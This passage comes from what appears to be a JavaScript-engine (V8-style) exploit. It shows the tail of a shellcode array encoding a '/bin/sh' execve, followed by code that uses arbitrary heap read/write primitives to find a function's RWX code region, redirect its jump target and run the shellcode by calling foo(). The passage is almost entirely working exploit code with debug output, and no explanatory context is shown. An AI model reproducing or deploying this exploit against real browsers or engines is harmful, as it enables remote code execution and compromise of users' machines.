0xe7894850732f2f2fn, 175 | 0x2434810101697268n, 176 | 0x6a56f63101010101n, 177 | 0x894856e601485e08n, 178 | 0x050f583b6ad231e6n 179 | ]; 180 | 181 | function heap_arb_read32(addr) { 182 | return heap_arb_read(addr) & 0xffffffffn; 183 | } 184 | foo_code = heap_arb_read32(BigInt(addrof_foo)-1n+js_heap+0xcn); 185 | foo_code = BigInt(foo_code) + js_heap - 0x1n; 186 | console.log("[*] foo code address: "+hex(foo_code)); 187 | rwx_addr = heap_arb_read(foo_code+0x14n); 188 | console.log("[*] rwx address: "+hex(rwx_addr)); 189 | jmp_addr = rwx_addr + 0x66n; 190 | 191 | function arb_write_32(addr, value) { 192 | set_heap_addr(addr); 193 | target_arr[0] = value; 194 | } 195 | 196 | arb_write_32(foo_code + 0x14n, Number(jmp_addr & 0xffffffffn)); 197 | arb_write_32(foo_code + 0x18n, Number(jmp_addr >> 32n)); 198 | 199 | // target_arr[0] = 0x43434343; 200 | // console.log("[*] heap_arb_read: "+hex(heap_arb_read(addrof_target_arr))); 201 | 202 | // %SystemBreak(); 203 | 204 | foo(); 205 | 206 | --------------------------------------------------------------------------------